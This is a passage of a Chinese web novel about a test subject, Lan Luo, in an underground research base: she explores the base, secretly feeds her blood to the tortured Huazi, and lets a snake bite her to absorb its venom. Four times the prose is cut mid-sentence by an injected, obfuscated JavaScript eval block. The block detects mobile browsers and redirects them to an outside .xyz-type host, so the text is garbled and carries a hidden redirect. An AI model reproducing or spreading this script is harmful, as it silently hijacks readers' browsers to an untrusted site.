祝见尘手从口袋伸出来,手心放着一个小巧的吹风机,看上去还是新的。 “吹头发用,你的房间应该没有配这个。”他把吹风机往前递了递。 兰落接过吹风机,是真的有点惊喜了:“谢谢你,终于不用风干了。” 她扬起一个灿烂无害的笑容,看得祝见尘连连后退,直到后背贴在墙上。 “你好怪,”他摸了摸鼻子,“别这样,正常一点就好。” 兰落唇角降下来,亮晶晶的眼睛也变得毫无光泽。 装多了,已经成习惯了。 “哦,那我先回去,”她平静开口,“耽误这么久,再不洗该臭了。” 兰落拎着吹风机越过祝见尘,自顾自往前走,没理会倚着墙看她的祝见尘。 没走几步,祝见尘的脚步声就在身后响起。 “脏了,替你扔了。” 他飞快伸手抽走兰落搭在肩膀上的毛巾,撂下一句话就头也不回地走了,好像有鬼在追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785884|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的。 兰落莫名其妙地回头,摸了摸自己的发梢。 脏了吗? 可能吧,擦了这么久的头发,肯定沾上不少治疗液。 兰落洗完澡仔细吹了吹头发,又好好睡了一觉,整个下午都没人来烦她,只有花子中途溜进来一次,怀里藏着一袋面包。 “哟,好得真快。” 花子把面包塞给兰落,毫不见外地坐在地上。 兰落看了一眼她坐的地方,那里本来有一大片沾了血渍的毛毯,叶飞把毛毯拿走当证据了,现在地上缺了一块,花子也不嫌弃。 “哪来的面包?”兰落捏了捏包装袋,没敢下口。 “面包怪的遗产,”花子眼珠滴溜溜地到处转,“吃了吧,就当他补偿你的。” 兰落看她的眼神就知道她想干嘛了,干脆主动开口:“柜子里有点吃的,你自己挑吧。” 花子眼睛顿时亮起来:“还是你上道!” 她撅着屁股翻了半天,嘴里嘟嘟囔囔的:“怎么都是干的?我想喝牛奶,你的牛奶呢?” “喝了呗。”兰落垂下眼睛自然地回答。 “切,”花子不屑地揣了点吃的,“这帮没人性的,也不知道给你多准备点,小短命鬼吃一顿少一顿呀。” 说完就拍拍屁股走人了,一点没觉得自己说的话晦气。 兰落把面包塞进柜子里,没跟她计较。 花子说她短命鬼不是一天两天了,也许在她的认知里,实验体的命都是这样的,短命只是事实罢了。 兰落发了会儿呆,确定暂时不会有人打扰自己之后才放松下来。 她盯着门口的墙角发呆,一墙之隔的走廊外,有一个小小的机械眼,孜孜不倦地注视着她的房间。 面包怪死了,这条走廊的机械眼应该暂时无人看管,对她来说倒是个好机会…… “……个屁。” 兰落面无表情地反驳自己,机械眼总有人会接手看管,除非她能在有人接手前溜走。 这太不现实了,况且没有这条走廊的机械眼,还有其他乱七八糟的机械眼和研究员,暗处也不知道有没有安保在守着。 逃?异想天开。 先老老实实改花刀吧。 兰落疲惫地闭上双眼,决定继续认怂。 “咚咚咚!” 又不知道是谁在敲门,兰落叹口气,从床上起身开门。 她猜是花子,或者是祝见尘。 门一打开,祝见尘的小白脸就急不可耐地钻了进来:“惊不惊喜!我猜你肯定休息好了,就来找你了。” 看吧,她猜对了。 兰落眼神萎靡地盯着祝见尘,看他好奇地东看一下西摸一下,然后一屁股坐在沙发上。 又不是第一次来了,好奇个屁。 “真巧,”她淡淡开口,“你和花子错峰探监了,所以我根本没有好好休息过。” “花子?”祝见尘伸了个懒腰,“谁啊?” 兰落掏出花子送来的面包招待他:“骂我短命鬼的那个。” “哦,”祝见尘接过面包,“有毒吗?竟然肯分享给我。” “不知道。”兰落懒得编,直言不讳。 祝见尘安静片刻,捏了捏面包,突然一拍脑袋: “花子?我好像想起来了!” “她被送进电击房了!” 兰落心里涌起不妙的预感:“做电工去了?” “挨电击去了!” 8. 找人 兰落把祝见尘赶走之后,思来想去还是决定去看一眼花子。 不谈其他,单说花子来探监过她好几次,礼尚往来她也该探望一下花子。 更重要的是,兰落需要更加熟悉基地的路线,她大可以仗着找不到电击房四处观察,反正暂时也没人会来烦她。 兰落的房间是按照陆观的要求布置的,距离其他实验体很远,离出口也非常远,几乎深埋在基地最内部。 她看似漫无目的地在空旷的走廊上穿梭,脑海中却在描绘基地的形状。 基地大厅是离地面通道最近的地方,她的房间则在离通道最远的地方,不过房间和大厅之间有一条宽阔的主路,可以让她从房间快速抵达大厅。 至于之前的手术室之类的地方,则在以大厅为起点的左侧部分,研究员的休息室也多集中在附近。 而花子等人的房间,应该在与研究员相对的基地另一边。 也就是说,所有人都是以大厅为起点向各处延伸,兰落的房间夹在研究员和实验体之间,向左是研究员,向右是实验体,向前则是没有遮挡的大厅。 那向后呢? 研究员不会一直住在这里,如果他们要外出的话,都是从大厅前面的通道离开吗? 兰落经过大厅很多次,从来没有见过有人从大厅前出现,除了陆观。 所以她一直怀疑,也许基地有另一个出口,研究员平时都是从那里进出的。 兰落一脸茫然地走到休息室附近,像迷路了一样左顾右盼,沿着一条窄窄的小路摸索。 这条路看上去和所有分叉路都一样,只不过窄了一点,机械眼好像也少了一点。 “喂!站住!” 兰落看到前面分成了两条不同的岔路,刚想走过去看一看,身后就响起一声暴喝。 她浑身一抖,像是被吓到了一样缓缓转身,揪着自己的衣领缩着脖子道歉:“怎么了?” 来人是个面生的壮汉,腕上贴着膏药一样的东西,脚上踩着一双运动鞋,简陋的白大褂穿在他身上几乎要炸开,整个人看上去不伦不类的。 “代号多少?为什么出现在这里?哪个研究员放你出来的?”壮汉一双三角眼牢牢盯着兰落,连珠炮似的发问。 兰落眼圈一红后退半步,声音像蚊子似的:“我是兰落,想找我的朋友,但是基地的地形太复杂了,我迷路了。这里是不是不让进?我马上就走……” 壮汉一愣,紧紧皱着的眉头松了一点:“你就是兰落?这儿不是你该来的地方,你想看谁就让研究员把他放进你房间,不要乱走。” 虽然他的语气还是很生硬,但明显比刚刚客气了很多。 兰落也没想到陆观的威慑力这么强,不过是开玩笑似的提了一嘴,底下的人就开始对她客客气气的了。 不过……听他的语气,似乎不认识自己的脸? 明明陆观来的时候所有研究员都集合了,她当时也在场,大家理应都认识她,为什么这个壮汉会不认识自己? 难道他根本没有去大厅? 为什么不去呢?是陆观不够重要?还是说,这里有更重要的东西? “谢谢,打扰了。”兰落收回思绪,朝壮汉点点头,然后就毫不留恋地原路返回了。 她不能打草惊蛇,不能让基地对自己有所戒备,他们最好永远把她当做一个胆小如鼠的实验体来蔑视。 被蔑视的人,才有偷偷成功的机会。 兰落演戏演到底,即便脑海里已经对这些路线了如指掌,依旧装出一副茫然的样子,一路摸索着回到大厅。 陆观早就走了,大厅已经恢复往日的平静,原本属于面包怪的位置,已经被其他人代替,几个研究员分散在不同的角落,一眼严肃地注视着眼前的屏幕。 看到兰落出现在这里,其中一个研究员抬头张了张嘴,又低头闭上嘴巴假装没看见。 其他研究员更是把头埋低,尽量忽略她。 好爽……兰落面无表情地想,这就是关系户的待遇吗?来去自如行动自由,不管干什么都没人指手画脚,再趾高气昂的研究员也要对她客客气气的。 要不是明白自己是待宰的实验体,她还真要把自己当成座上宾了。 兰落掩饰着眼底的不屑和嘲讽,坐在大厅悄悄观察通道。 走过这条通道就是厚重的密码门,门外是消毒通道,消毒通道外是另一重密码门。 她唯一知道拥有生物密码的人,只有陆观。 “那个,”兰落捋了捋头发,假装无聊地四处看,避免被他们发现自己在看通道,“你们知道电击房在哪吗?” 几个人的动作有一瞬间的停滞,然后他们很默契地选择沉默,没有搭理她。 “请问电击房在哪?”兰落恍若未觉,依然很有礼貌地询问。 一个矮矮的中年女研究员抬起头扶了一下丑丑的眼镜:“往那走,沿着右手一直走。” 兰落顺着她指的方向扫了一眼,回过头对女人微笑道谢。 中年女人拧着眉头抿着唇没有回应她,继续低头忙活了。 兰落不在意他们的态度,按照女人指的路走过去,绕了好几个圈子才找到电击房。 她站在门口抬头看着门牌上的“电击房”三个字,内心嗤笑他们连表面功夫都懒得做,电击房竟然直接叫电击房,他们的解剖室好歹还用手术室来掩人耳目呢。 兰落推开双开的大门,里面出现和检查室类似的玻璃隔间,隔间里面有一张巨大的椅子,上面连接着密密麻麻的线路。 椅子是空的,花子不在里面。 坐在外间的研究员看到兰落有些惊讶:“你来这里做什么?” “花子在吗?我来看她。” “不在,回去吧,没事不要乱跑。” 研究员挥挥手赶人,客气里夹杂着藏不住的嫌弃。 兰落嘴里答应着,脚步却没动,站在原地仔细观察着,同时竖起耳朵听。 研究员看了她两眼,嘴里嘟哝两句,却没开口驱逐她。 陆观说话真有用啊,兰落再一次感慨。 见四处都找不到人,她转身抓住门把手,打算去花子住的地方找找看。 “呃……” 转身的瞬间,细微的呻吟声轻飘飘地落到兰落的耳朵里,拦住了她的脚步。 兰落回头看着研究员:“请问,你有听到什么声音吗?” 研究员认真地盯着电子屏,随口敷衍她:“没有。” 兰落皱眉,不再理会研究员,自己推开隔间门走了进去。 “哎哎哎!” 研究员看见了,一下从凳子上窜起来着急忙慌喊住她:“不能进,非实验人员勿进,小心弄坏设备,你先出来!” 兰落握着隔间门把手,轻声细语地道歉:“不好意思,我只是想找找花子。” 研究员看她态度良好,胸膛挺了挺:“你先回去,到时候让人把她带到你房间,没事不要乱晃,妨碍实验。” “妨碍?”兰落一脸愧疚,“抱歉,陆先生说让我配合实验来着的,没想到妨碍你们了,真是不好意思。下次陆先生来的时候,你们可以和他提一提这件事,总让我乱跑也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785885|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个办法。” 她低眉顺眼地威胁研究员,对于自己把陆观搬出来狐假虎威这件事毫不心虚。 “你……”研究员沉吟半天,“你、哎,那边那边,小门儿里。” 说完就一屁股坐下,假装看不见兰落。 兰落的视线停留在研究员身上,只不过让他指个路而已,三番四次不理人,一定要把上面的主子搬出来吓一吓他才愿意开尊口,真是贱得没边。 她没有起伏的嘴角在拉开小门后彻底压成了一条直线。 小门里是个空空的小房间,里面什么都没有,只有一个人披头散发地瘫软在地,扭曲的姿势像个死人,只有偶尔溢出嘴边的呻吟证明她还活着。 “花子?” 兰落小心翼翼地喊了一声。 脸朝下趴在地上的花子手指动了动,然后费力地扭过脑袋,把脸朝向兰落:“兰……” “嗯。”兰落说,“你怎么了?” 花子现在的姿势很滑稽,上半身和下半身在地上摆成“L”的形状,侧脸贴地,乱糟糟的头发糊了满脸,一张嘴就被吃进嘴巴里。 “你问的什么废话?” 她虽然虚弱,嘴却硬,缓了缓继续开口:“你空手来的啊。” 兰落看了看自己的双手,没觉得不好意思:“只是想来看看你的,没想到你这么严重。” 花子闭上眼睛,呸一声吐出嘴里的头发:“他们给我喝了个不知道啥玩意的腥了吧唧的血就拉过来电了,一直问我疼不疼,还不准给我用药,一帮……” 下面几个字她可能怕被研究员听到,说得很小声,兰落也没听清,反正肯定是骂人的话,不重要。 她在意的,是花子说的血。 喝血、痛感、不准用药,兰落几乎可以确定花子喝下的是自己的血。 哈,陆观还真节省,自己的血研究完再给其他实验体喝了继续研究。 兰落心里一阵恶心,面上却不显。 反正那些血都是废的,除了难喝,没有任何作用。 “你知道吗?”花子似乎越聊越有力气,“我发现你错了。” 兰落心里一跳:“什么?” 花子舔舔嘴唇:“你跟我说七九六十二,是错的。” 兰落放下心来,回忆了一下,她刚认识花子的时候的确撒过这种谎。 那时候兰落怀疑花子在伪装,故意说了很多错误的常识试探她,没想到花子照单全收,每条都信了。 “你读书多,我信你。”花子当时一点头就把这些东西记住了,对兰落的每句话都很信任。 兰落这才慢慢打消了对她的怀疑,开始相信这个世界上真的有花子这种莽撞又世故的蠢货存在。 她捏住拳头,扫了眼外面探头探脑的研究员:“嗯,我记错了,你怎么知道的。” 花子语气如常,甚至带着点小骄傲:“电击椅有七个档位,他们电了我九轮,我数过了,一共是六十三次,不是六十二。” 兰落轻轻咬住自己的舌尖,叹了口气:“还不如六十二呢。” 花子哼唧两声没有接话,整张脸皱成一团。 兰落看出她在忍痛,脚步挪了一下,用身子挡住窄窄的的门口,弯下腰摸了一把花子的嘴角: “你看你,头发都吃到嘴里了。” 她说完就直起身,握成拳的右手里有一抹红痕一闪而过,消失在指间。 花子下意识舔舔唇,卷走干燥唇角上的一点冰凉。 “你!” 几瞬之后,她不可思议地抬起眼睛,嗓子里溢出一个音节。 9. 身体 兰落看到花子的反应,不由自主皱眉,开始后悔自己一时头脑不清醒的举动。 她早就实验过,自己的血离体超过一分钟就会失效,所以研究员取走的她的血都是废血,研究不出任何东西。 到现在为止他们只知道自己没有痛觉,但不知道她的血也可以屏蔽别人的痛觉。她刚刚也是看花子太可怜被自己连累受电击,才一时心软给了花子一滴血。 要是她的秘密因此被发现,那就太得不偿失了,还不如让花子继续趴在地上嚎。 兰落背对着研究员,竖起一根手指示意花子不要声张。 花子依旧趴在地上,像个乌龟似的努力抬起头看她,收到兰落的信号后就紧紧抿住嘴巴,没再多嘴。 兰落松了一口气,至少花子没吱吱哇哇地闹到研究员跟前。 花子把脸重新贴在地上,时不时虚弱地呻吟一声。 她的演技很好,如果兰落不是知情人的话,恐怕根本看不出来她是装的。 “你……好好休息吧。” 兰落后退几步,替花子关上了小门。 研究员正在纸上写写画画,没怎么注意这里的动静,兰落停在门口问:“电击结束了,为什么不给她用药?” 研究员头也不抬:“观察自愈而已,再过十分钟不起效就送回去了。” 这话异常熟悉,兰落没再问下去,拉开门离开了。 心意到了,礼也到了,剩下的都是花子自己的事,和她没有关系了。 兰落循着记忆走回房间,把自己关进卫生间之后才松开了一直紧握的拳头。 她的指腹有一道细小的伤口,是为了给花子喂血故意划开的,用的是金属身份牌的边角。 这个身份牌还是陆观吩咐下来给她做的。 实验体原本没有身份牌,都是把编号用特制的印章刻在身上,陆观说她和其他实验体不同,不需要烙印,做个身份牌就行了,基地的人就做了个又小又轻的金属牌,边角很钝,完全没有攻击力。 兰落知道这是怕她伤害研究员或者自残,但他们可能想不到,再钝的金属,磨一磨也是可以成材的。 她闲来没事就磨,磨到现在才好不容易把金属牌的一个角磨锋利,虽然没什么杀伤力,但做点小事还是很够用的。 比如划伤自己来取血。 兰落把金属身份牌擦干净放进床头柜,在置物架上找了瓶特效药喷在手上,那道小小的口子没多久就直接愈合了。 药是张烈让人送来的,兰落粗略观察了一下,里面几乎包含了所有常用药,把空空的置物架摆得很满。 看来张烈也是个谄媚的狗。 兰落无聊地把药分门别类整理了一遍,没找到适合她吃的,这才放弃,转头去磨金属牌。 她已经很久没服毒了,万一身体太健康了可不好,得找个机会搞点有毒的。 兰落没想到自己刚想到身体,祝见尘就嚷嚷着要来捉她做检查。 “你没正事吗?”兰落莫名其妙,“为什么别的研究员比你忙那么多?” 祝见尘笑嘻嘻的:“谁让我是关系户呢?你快配合点,不然我唯一的正事也没得做了。” 兰落没拒绝,反正能扫描出来的他们早就知道了,扫描不出来的,他们就算检查一万次也没用。 况且她也想知道自己目前的具体情况。 “这次可别画画了,”兰落躺在检查床上,对祝见尘毫无信任,“认真给我检查一次,我要自己看结果。” “我很认真的好不好?”祝见尘嘟嘟囔囔。 他一屁股坐下,撑着下巴半真半假地抱怨:“你都没有实验体的自觉,竟然对我态度这么差,我看你对叶飞他们态度就很好嘛。” “叶飞怎么样了?”兰落没理会他的抱怨。 祝见尘转了转笔:“不知道。你知道的,我是关系户,还是野种,他们都不待见我,怎么会把这些事情告诉我呢?” 他的语气里没什么坏情绪,开玩笑似的说出这番话,于是兰落直接过滤了这些废话,当做什么都没听到。 祝见尘也不烦她了,老老实实地操作机器给她检查了一遍身体。 兰落感受着熟悉的嗡嗡声,突然有些恍惚。 上次躺在这里,她对基地一无所知,对祝见尘一无所知,对不死之力也一无所知,像个无头苍蝇一样。 现在躺在这里,她已经熟悉了基地的大致情况,也知道了祝见尘是个爱发神经游手好闲的家伙,更是觉醒了传承的记忆,知道了获得完整不死之力的方法。 一切,都在命运的安排下向着她前进的方向前进。 如果顺利,她会尽快离开这里; 如果运气好,她会成功躲过追捕; 如果有机会,她会直接吞噬掉兰升; 如果…… ——如果祝见尘能安静点,她会有更多时间来思考自己的未来。 兰落皱着眉从检查床上跳下来:“你到底在惊讶什么?” 从刚刚开始,他就一脸意外地盯着电脑,嘴里时不时“哇”两声,吵得人没办法不注意到他。 祝见尘一脸神秘地朝她招手:“过来,偷偷给你看。” 兰落心中一跳,还以为自己的身体有了什么状况,压着情绪快步上前,单手撑着桌子看屏幕。 屏幕上什么都没有。 兰落泄出一口气,既出乎意料又觉得意料之中,她早该料到的,祝见尘做出什么奇葩事都是正常的。 “所以你在看什么?” 她侧头看着祝见尘,企图从他脸上看出尴尬或者心虚。 兰落个子不算矮,但和祝见尘比起来还是矮了不少,即使他是坐着的,兰落也只比他高出一个头而已。 她一手撑着桌边,面露不解地微微低头,耳边的发丝垂落下来,在两人中间轻晃着。 兰落看着祝见尘倚在靠背上的身体坐直了,表情也从夸张的惊讶逐渐收敛,而后抿住唇,眼神胡乱飘着。 看吧,她就知道他会心虚。 兰落指了指屏幕,继续问:“所以你到底在看什么?” 祝见尘摸了摸鼻子,然后手指一抬指着兰落手指不远的地方:“喏,虫子打架。” 兰落顺着他手指的方向看去,凑近了屏幕才看见两只小得可怜的虫子正扭打在一起。 她凑得太近,连轻微的呼吸都能直接扑打在祝见尘伸直的手指上。 兰落看见祝见尘手指蜷缩了一下,然后唰一下收回去,抄进口袋里不动了。 “你就在看这个?”她问。 祝见尘看天看地不看虫子:“嗯啊,就看这个而已。” 兰落不说话了,伸出食指一下摁死两只虫子,抽出一张纸巾擦手:“不要玩忽职守,给我看看我的身体数据。” 祝见尘看了一眼被她扔进垃圾桶的小飞虫尸体,脸上竟然有一丝遗憾:“哦……” “你现在挺健康的,没什么问题。” 他把扫描出来的数据调出来,脚下一动就把椅子滑到一边,把正对着电脑的位置让给兰落。 兰落滑动着鼠标,专心致志地看自己的身体数据,完全没注意到趴在桌边的祝见尘也在专心看。 他倒是没撒谎,扫描出来的数据显示兰落的身体没有任何异常,甚至体重都增加了两公斤。 “没问题我走了。”兰落撂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785886|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼠标转身就走。 “哦。”祝见尘还是趴在桌边,语气闷闷的,竟然显得他有些乖顺。 兰落奇怪地看他一眼,不知道他为什么一会儿精力充沛一会儿安静如鸡,只能归结为他脑子又坏了。 走到门口,祝见尘的声音又响起了: “兰落,你身上有药味儿。” 兰落闻了闻自己,没闻出什么味道:“在房间试了一下他们送来的药,可能沾上味儿了。” 祝见尘把脸埋进手臂,只露出一双眼睛,声音被闷在臂弯里:“那你喜欢吗?” “喜欢什么?”兰落茫然。 “药。”他把头抬起来一点。 兰落推开门,随口敷衍:“喜欢,常备药有安全感。” 说完就松手走了出去,银白的金属门在她身后静悄悄地合上。 “是吗,我可是挑了很久,把库房效果最好的药全都挑出来了。” 不过门的隔音效果太好,所以兰落也没有听见祝见尘略带骄傲的话。 她又去了电击房,这里已经大门紧锁,门上挂着“禁止入内”的牌子。 看来是已经结束了,兰落干脆去了花子住的地方,也就是她口中的“鸽子笼”。 鸽子笼其实就是很多个挨在一起的小单间,每间只能放下一张床和一个简陋的卫生间,其余的什么都没有。 每间的门上都有一个正方形的洞,上面分布着栏杆,方便研究员观察内部的同时不被里面的人伤害到。 总之看起来和监狱没什么两样。 一部分房间门大开着,里面空空的,应该是被拉去做实验了,其余的房间不管吵闹还是安静都紧闭着。 兰落就在这里穿梭着,她大概知道花子住在哪间,慢慢观察着踱步过去。 花子躺在床上,皱着眉头似乎在忍耐着极大的痛苦。 还挺有义气的。 “是我。”兰落透过栏杆看她。 花子听到她的声音,半死不活的呻吟停住了,眉头也松了一点:“哎呦,怎么又空手来了?” “就来看看你,”兰落笑得无辜,“这里好压抑,我都怕突然钻出来一条毒蛇把我咬了。” 花子继续装痛,一边哼唧一边提醒她:“这可不是开玩笑的,你记得别走s组分叉,那边真有毒蛇,见人就咬。” “好吓人,”兰落垂眸,“幸好刚刚没走那条路,不过门关着的应该没事吧。” “怎么没事?”花子说,“那货仗着蛇头窄,天天从栏杆钻出去咬人。” 兰落点点头:“原来如此,我记住了。” 她跟花子隔着门随便寒暄了几句,就收回话头准备离开。 花子的声音追在身后:“记得避开s组!” 兰落没回应,低着头七拐八绕,像散步似的在鸽子笼里晃悠,来到了一条稍显昏暗的路口。 她犹豫着踩进去,走进分岔路的瞬间左侧的房门就传出剧烈撞击声。 兰落朝右边靠了靠,右边的门里就开始发出粗重的呼吸声,然后是一连串骂娘。 她不搭理,被吓坏了似的加快步伐走过去,一路朝着尽头走去。 “小心。” 倏然,一道清澈的陌生提醒伴着风声钻进她的耳朵。 兰落听到这声提醒,下意识停住脚步。 “啊——!” 女孩的尖叫声充斥着恐惧,兰落后退两步撞在身后的门板上。 漆黑细长的蛇头被她的声音惊到,嗖的一声退了回去,不安分地在门内嘶嘶作响。 兰落挣扎着站起身,扶住身后的门,那道陌生声音再次在她身后响起: “你还好吗?” 10. 用药 兰落一下松开扶着门的手,面朝着发出声音的房间:“你是谁?” 门后沉默几秒,然后缓缓开口:“关在这里的,当然是实验体了。” 兰落一边小心着身后随时可能探出来的蛇头,一边透过栏杆观察面前房间里的人。 这间房很昏暗,只能看清门口的地板,里面的人躺在最里面的床上,只能隐约辨认出形状。 “刚刚是你提醒我?”兰落说,“谢谢你了。” 被子动了一下,人影开口:“不用谢,我只是比较有经验。” 听起来是个温和的人,怎么和这些暴躁狂关在一起了? 兰落还没来得及细问,在附近的研究员就快步走了过来。 “怎么回事?又被咬了?” 研究员啪一下关上了蛇头的栏杆小门,彻底阻挡了他进攻的可能。 兰落摇摇头:“没有,只是被吓到了。” 研究员挥挥手:“没事就离开,少来脏乱差的地方。” 兰落点点头,跟着研究员屁股后面走出鸽子笼,一脸后怕地说:“真吓人,幸好有那个好心人提醒我,不然我肯定要被咬了。” 研究员冷哼一声:“好心人?以前就属他最不老实,现在瘫了总算安分不少。” “不老实?真是没看出来,我还好奇他为什么关在这里呢。”兰落附和。 研究员带着兰落走到远离鸽子笼的地方就准备往回走,闻言停下脚步,叉着腰一脸头疼地说:“基地刚建他就来了,那时候实验体太少了,天天拿他做实验,每回都弄伤研究员,难搞死了。” “幸好瘫了,他奶奶的,不然还打他。” 研究员骂骂咧咧地走了,留下兰落一脸若有所思地站在原地。 倒不是她真在思考什么,而是那蛇头太毒,她快撑不住了。 兰落不想被别人发现自己的异常,硬是咬着牙装作没事人回了房间。 一回房间她就控制不住瘫软在地,满头大汗地喘息着。 她的手肘内侧有两个小小的血洞,是抬手抵挡蛇头的时候被咬伤的。 被咬的一瞬间,兰落就开始浑身无力头晕目眩,她知道这蛇肯定朝她注射了有麻痹效果的毒素,压着心底的兴奋在研究员面前表现出害怕,为的就是保留毒素。 也算是得来全不费工夫。 兰落强撑着昏沉的大脑,让毒素在自己的体内逐渐蔓延,渐渐融化进血液中。 这是她在从小到大不断的实践中摸索出的异能使用方法。 小时候她误食过灭鼠药,当时眼睛一翻昏睡了很久,醒来还是无精打采的,一头撞在地上把嘴巴磕出血,然后她就惊奇地发现地上的虫子沾到血液后竟然很快就死了。 后来为了印证自己的猜想,兰落继续偷偷吃老鼠药,等精神恢复了就继续划伤自己,把血混在兰升的饭里,看他吃完饭啪的一声倒在地上,才真正确认了这个能力。 当年欺负她的同学,就是这么死的。 他们没有兰升那么幸运的能力,被兰落忽悠着信了她的血包治百病,一个个争着舔刀上的血渍。 然后没出几天就像蟑螂一样死了。 想到这,兰落忍不住笑了一下,连同着血管里流淌的血液都在轻轻震颤。 不过她的血倒也不是完全有毒性,比如花子喝下的就是未经毒素污染的“纯净血”,不仅不会死,反而可以屏蔽痛觉。 兰落抚摸着两个深深的血洞,心里久违地涌起满足和安全感。 比起药,毒更让她安心。 等身体缓过来一些,兰落就赶紧从地上爬起来,对着伤口猛猛喷了愈合药。 这道伤口比她手指上自己划的严重得多,愈合起来也不太容易,她只能尽量避免被人发现。 只求暂时没人来烦她。 怕什么来什么,没一会儿兰落的房门就被拍得震天响。 她盘腿坐在地上,捂着伤口扬声问:“什么事?” “是我是我。” 门外是祝见尘还带着微喘的应答,兰落翻了个大白眼,维持着正常的音调:“你是谁?” “哇,”祝见尘拖长尾音,“你连我的声音都听不出来了吗?是我呀,祝见尘,你专属的体检师。” 兰落当然听出他的声音了,只是想拖延一下时间,她现在没什么精神,祝见尘好歹也算半个医生,很容易就能看出她的不对劲。 “不是刚检查过吗?怎么,你没玩够,还要再来一次?” 她在床边小步试探着,努力让自己的步伐不显得那么奇怪。 祝见尘像只精力过剩的大狗一样挠门缝:“找你玩不行吗?我刚刚经过大厅看到你在收纳所乱晃,那里不是什么好地方,你可要小心点。” 兰落了然,原来他是从机械眼看到自己了。收容所就是鸽子笼,那里的机械眼不多,分别在每条路的两端分布,中间都是没有监控的地带,所以她才敢冒险让蛇头咬自己一口。 “知道了,你就是来说这个的?” 她的走路姿势逐渐恢复正常,用力闻了闻,空气里也没什么药味儿了,这才慢慢走到门口用右手拉开房门。 门口的祝见尘还维持着弯腰扣门缝的姿势,有几分猥琐,但清澈见底的双眸和一身洁白制服冲淡了这种猥琐,让他看起来颇具少年的活泼。 兰落觉得他可能真的有点犬类基因,在基地关久了精力得不到释放所以才又神经又烦人。 “你多大了?”她假装潇洒地抱臂倚墙,恢复着体力,同时遮盖住手肘的伤口。 之前的衣服染血不能穿了,叶飞给她发的新制服是短袖,根本盖不住伤口。 祝见尘愣了一下,站得笔直:“21,怎么了?” 兰落瞥他一眼,发现他似乎是真的在等她的回答。 她就随口一问,年龄而已,又不是成绩,他到底在期待什么? “挺年轻的,怪不得比其他人有活力。”兰落朝里走了几步,一屁股坐在床上。 祝见尘也跟在后面慢慢走,没走几步就停下来:“兰落。” 兰落坐在床上,时刻不忘收着手臂:“怎么了?” “好浓的药味。” 他的眼睛牢牢盯着兰落,语气却很平静,似乎只是在叙述一个事实。 兰落动了动鼻子:“是吗?可能试药的时候弄出来太多,味道散不出去。” “这也不怪我吧,谁让你们把基地建在地底下,通风效果肯定不如地面。” 祝见尘不说话,转身去捞药瓶。 兰落看着他精准地拿出了自己用过的那瓶药,在手里掂了掂。 “你可能不清楚,这款药是刚研发出来的,还没有问世,基地也是花了不少代价才提前拿了一批。” “它最大的特点,就是接触空气后快速挥发,一般在十分钟左右就能完全挥发,所以需要特制的容器小心保存。” “而距离你试药,已经过去不知道多少个十分钟了。” “还是说,你在十分钟之内,也就是我敲门的时候,又心血来潮,试了一次药?” 兰落歪着头,用她惯常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785887|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫然表情听着祝见尘劈头盖脸的质疑。 这还是她第一次见祝见尘这么专业认真的样子,一点儿没有之前吊儿郎当的庸医样。 是她看错他了,看来祝见尘还是有两把刷子的,不是完全的关系户,没那么好糊弄。 兰落表面镇定天真,心里已经开始打鼓,烦躁的情绪再一次蔓延。 “我乐意,”她面无表情,“觉得好闻。” 祝见尘摩挲着药瓶,静静站在原地,一双眼睛眨也不眨地盯着兰落。 半晌,他叹口气把药放回原位: “你喜欢就好。” “平时也记得注意身体,毕竟是药三分毒。” 兰落松了一口气,心里那点烦躁像潮水一样慢慢褪去,偏过脑袋点点头就当翻篇。 这要是面包怪之类的人在场,她还真不敢这么理不直气也壮,只能怪祝见尘平时太散漫,在她心里的威胁性实在太低了。 “所以你来干什么?”她岔开话题,拉回祝见尘放在药柜上的视线。 祝见尘把几瓶药调换了一下位置:“不干嘛,刚刚不是说了吗,看到你出现在收纳所了,怕你出事。” 兰落坐在床上看他摆弄这些药,没力气也没兴趣阻止他了,干脆随他折腾。 祝见尘忙活一会儿,挑出一小盒不起眼的药片,背对着兰落扔到她怀里。 